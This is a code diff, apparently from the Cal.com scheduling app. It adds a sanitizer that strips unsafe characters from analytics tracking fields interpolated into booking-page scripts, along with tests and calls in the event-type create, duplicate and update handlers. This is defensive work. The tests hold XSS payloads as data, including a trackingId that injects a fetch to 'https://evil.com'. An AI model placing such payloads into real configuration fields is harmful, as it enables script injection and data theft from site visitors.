diff --git a/packages/app-store/_utils/sanitize-analytics-value.test.ts b/packages/app-store/_utils/sanitize-analytics-value.test.ts new file mode 100644 index 00000000000000..52e7c4e094268d --- /dev/null +++ b/packages/app-store/_utils/sanitize-analytics-value.test.ts @@ -0,0 +1,67 @@ +import { describe, expect, it } from "vitest"; + +import { sanitizeAnalyticsApps } from "./sanitize-analytics-value"; + +describe("sanitizeAnalyticsApps", () => { + it("passes through valid GA4 tracking ID", () => { + const metadata = { apps: { ga4: { enabled: true, trackingId: "G-ABC123XYZ" } } }; + sanitizeAnalyticsApps(metadata); + expect(metadata.apps.ga4.trackingId).toBe("G-ABC123XYZ"); + }); + + it("passes through valid GTM tracking ID", () => { + const metadata = { apps: { gtm: { enabled: true, trackingId: "GTM-ABCDEF" } } }; + sanitizeAnalyticsApps(metadata); + expect(metadata.apps.gtm.trackingId).toBe("GTM-ABCDEF"); + }); + + it("passes through valid URL fields", () => { + const metadata = { apps: { plausible: { enabled: true, PLAUSIBLE_URL: "https://plausible.io/js/script.js" } } }; + sanitizeAnalyticsApps(metadata); + expect(metadata.apps.plausible.PLAUSIBLE_URL).toBe("https://plausible.io/js/script.js"); + }); + + it("strips XSS payload from trackingId", () => { + const metadata = { apps: { gtm: { enabled: true, trackingId: "GTM-');alert(1);//" } } }; + sanitizeAnalyticsApps(metadata); + expect(metadata.apps.gtm.trackingId).toBe("GTM-alert1//"); + }); + + it("strips full exfiltration payload", () => { + const payload = "GTM-');(async()=>{fetch('https://evil.com')})();//"; + const metadata = { apps: { gtm: { enabled: true, trackingId: payload } } }; + sanitizeAnalyticsApps(metadata); + expect(metadata.apps.gtm.trackingId).not.toContain("("); + expect(metadata.apps.gtm.trackingId).not.toContain("'"); + expect(metadata.apps.gtm.trackingId).not.toContain("{"); + }); + + it("strips HTML script tags", () => { + const metadata = { apps: { metapixel: { enabled: true, trackingId: "" } } }; + sanitizeAnalyticsApps(metadata); + expect(metadata.apps.metapixel.trackingId).not.toContain("<"); + expect(metadata.apps.metapixel.trackingId).not.toContain(">"); + }); + + it("preserves empty strings", () => { + const metadata = { apps: { ga4: { enabled: true, trackingId: "" } } }; + sanitizeAnalyticsApps(metadata); + expect(metadata.apps.ga4.trackingId).toBe(""); + }); + + it("handles null metadata", () => { + expect(sanitizeAnalyticsApps(null)).toBeNull(); + }); + + it("handles metadata without apps", () => { + const metadata = { bookerLayouts: {} }; + sanitizeAnalyticsApps(metadata); + expect(metadata).toEqual({ bookerLayouts: {} }); + }); + + it("ignores non-analytics apps", () => { + const metadata = { apps: { stripe: { enabled: true, price: 100 } } }; + sanitizeAnalyticsApps(metadata); + expect(metadata.apps.stripe.price).toBe(100); + }); +}); diff --git a/packages/app-store/_utils/sanitize-analytics-value.ts b/packages/app-store/_utils/sanitize-analytics-value.ts new file mode 100644 index 00000000000000..8c2f28e348c58f --- /dev/null +++ b/packages/app-store/_utils/sanitize-analytics-value.ts @@ -0,0 +1,59 @@ +const SAFE_CHARS = /[^a-zA-Z0-9\-._/:]/g; + +const ANALYTICS_APPS = new Set([ + "ga4", + "gtm", + "metapixel", + "fathom", + "plausible", + "posthog", + "umami", + "matomo", + "databuddy", + "insihts", + "twipla", +]); + +// These fields get substituted into inline script templates via BookingPageTagManager's parseValue +const TEMPLATE_FIELDS = [ + "trackingId", + "trackingEvent", + "TRACKING_ID", + "TRACKING_EVENT", + "API_HOST", + "PLAUSIBLE_URL", + "SCRIPT_URL", + "SITE_ID", + "MATOMO_URL", + "CLIENT_ID", + "DATABUDDY_SCRIPT_URL", + "DATABUDDY_API_URL", +]; + +function sanitizeValue(value: unknown): string { + if (typeof value !== "string") return ""; + return value.replace(SAFE_CHARS, ""); +} + +// Mutates metadata in place, sanitizing analytics app fields that are interpolated into script templates. +// Generic return preserves the caller's type without requiring extra assertions. +export function sanitizeAnalyticsApps(metadata: T): T { + if (!metadata || typeof metadata !== "object") return metadata; + + const obj = metadata as Record; + if (!obj.apps || typeof obj.apps !== "object") return metadata; + + const apps = obj.apps as Record>; + + for (const [slug, appData] of Object.entries(apps)) { + if (!ANALYTICS_APPS.has(slug) || !appData || typeof appData !== "object") continue; + + for (const field of TEMPLATE_FIELDS) { + if (field in appData && typeof appData[field] === "string" && appData[field] !== "") { + appData[field] = sanitizeValue(appData[field]); + } + } + } + + return metadata; +} diff --git a/packages/trpc/server/routers/viewer/eventTypes/heavy/create.handler.ts b/packages/trpc/server/routers/viewer/eventTypes/heavy/create.handler.ts index ef5252c5412ddf..d7977154e07add 100644 --- a/packages/trpc/server/routers/viewer/eventTypes/heavy/create.handler.ts +++ b/packages/trpc/server/routers/viewer/eventTypes/heavy/create.handler.ts @@ -1,4 +1,5 @@ import { getDefaultLocations } from "@calcom/app-store/_utils/getDefaultLocations"; +import { sanitizeAnalyticsApps } from "@calcom/app-store/_utils/sanitize-analytics-value"; import { DailyLocationType } from "@calcom/app-store/constants"; import { EventTypeRepository } from "@calcom/features/eventtypes/repositories/eventTypeRepository"; import type { PrismaClient } from "@calcom/prisma"; @@ -78,7 +79,7 @@ export const createHandler = async ({ ctx, input }: CreateOptions) => { const data: Prisma.EventTypeCreateInput = { ...rest, owner: teamId ? undefined : { connect: { id: userId } }, - metadata: (metadata as Prisma.InputJsonObject) ?? undefined, + metadata: (sanitizeAnalyticsApps(metadata) as Prisma.InputJsonObject) ?? undefined, // Only connecting the current user for non-managed event types and non team event types users: isManagedEventType || schedulingType ? undefined : { connect: { id: userId } }, locations, diff --git a/packages/trpc/server/routers/viewer/eventTypes/heavy/duplicate.handler.ts b/packages/trpc/server/routers/viewer/eventTypes/heavy/duplicate.handler.ts index 25f01b0ac4a2a7..94e079649677d2 100644 --- a/packages/trpc/server/routers/viewer/eventTypes/heavy/duplicate.handler.ts +++ b/packages/trpc/server/routers/viewer/eventTypes/heavy/duplicate.handler.ts @@ -1,3 +1,4 @@ +import { sanitizeAnalyticsApps } from "@calcom/app-store/_utils/sanitize-analytics-value"; import { EventTypeRepository } from "@calcom/features/eventtypes/repositories/eventTypeRepository"; import { generateHashedLink } from "@calcom/lib/generateHashedLink"; import { CalVideoSettingsRepository } from "@calcom/features/calVideoSettings/repositories/CalVideoSettingsRepository"; @@ -136,7 +137,7 @@ export const duplicateHandler = async ({ ctx, input }: DuplicateOptions) => { durationLimits: durationLimits ?? undefined, eventTypeColor: eventTypeColor ?? undefined, customReplyToEmail: customReplyToEmail ?? undefined, - metadata: metadata === null ? Prisma.DbNull : metadata, + metadata: metadata === null ? Prisma.DbNull : sanitizeAnalyticsApps(metadata), bookingFields: eventType.bookingFields === null ? Prisma.DbNull : eventType.bookingFields, rrSegmentQueryValue: eventType.rrSegmentQueryValue === null ? Prisma.DbNull : eventType.rrSegmentQueryValue, diff --git a/packages/trpc/server/routers/viewer/eventTypes/heavy/update.handler.ts b/packages/trpc/server/routers/viewer/eventTypes/heavy/update.handler.ts index eaec37ccd7873f..5c033caae04f67 100644 --- a/packages/trpc/server/routers/viewer/eventTypes/heavy/update.handler.ts +++ b/packages/trpc/server/routers/viewer/eventTypes/heavy/update.handler.ts @@ -1,4 +1,5 @@ import type { appDataSchemas } from "@calcom/app-store/apps.schemas.generated"; +import { sanitizeAnalyticsApps } from "@calcom/app-store/_utils/sanitize-analytics-value"; import { DailyLocationType } from "@calcom/app-store/constants"; import { eventTypeAppMetadataOptionalSchema } from "@calcom/app-store/zod-utils"; import { CalVideoSettingsRepository } from "@calcom/features/calVideoSettings/repositories/CalVideoSettingsRepository"; @@ -225,7 +226,7 @@ export const updateHandler = async ({ ctx, input }: UpdateOptions) => { isRRWeightsEnabled, rrSegmentQueryValue: rest.rrSegmentQueryValue === null ? Prisma.DbNull : (rest.rrSegmentQueryValue as Prisma.InputJsonValue), - metadata: rest.metadata === null ? Prisma.DbNull : (rest.metadata as Prisma.InputJsonObject), + metadata: rest.metadata === null ? Prisma.DbNull : (sanitizeAnalyticsApps(rest.metadata) as Prisma.InputJsonObject), eventTypeColor: eventTypeColor === null ? Prisma.DbNull : (eventTypeColor as Prisma.InputJsonObject), // Only set disableGuests if bookingFields is explicitly provided to avoid overwriting existing value ...(bookingFields !== undefined && {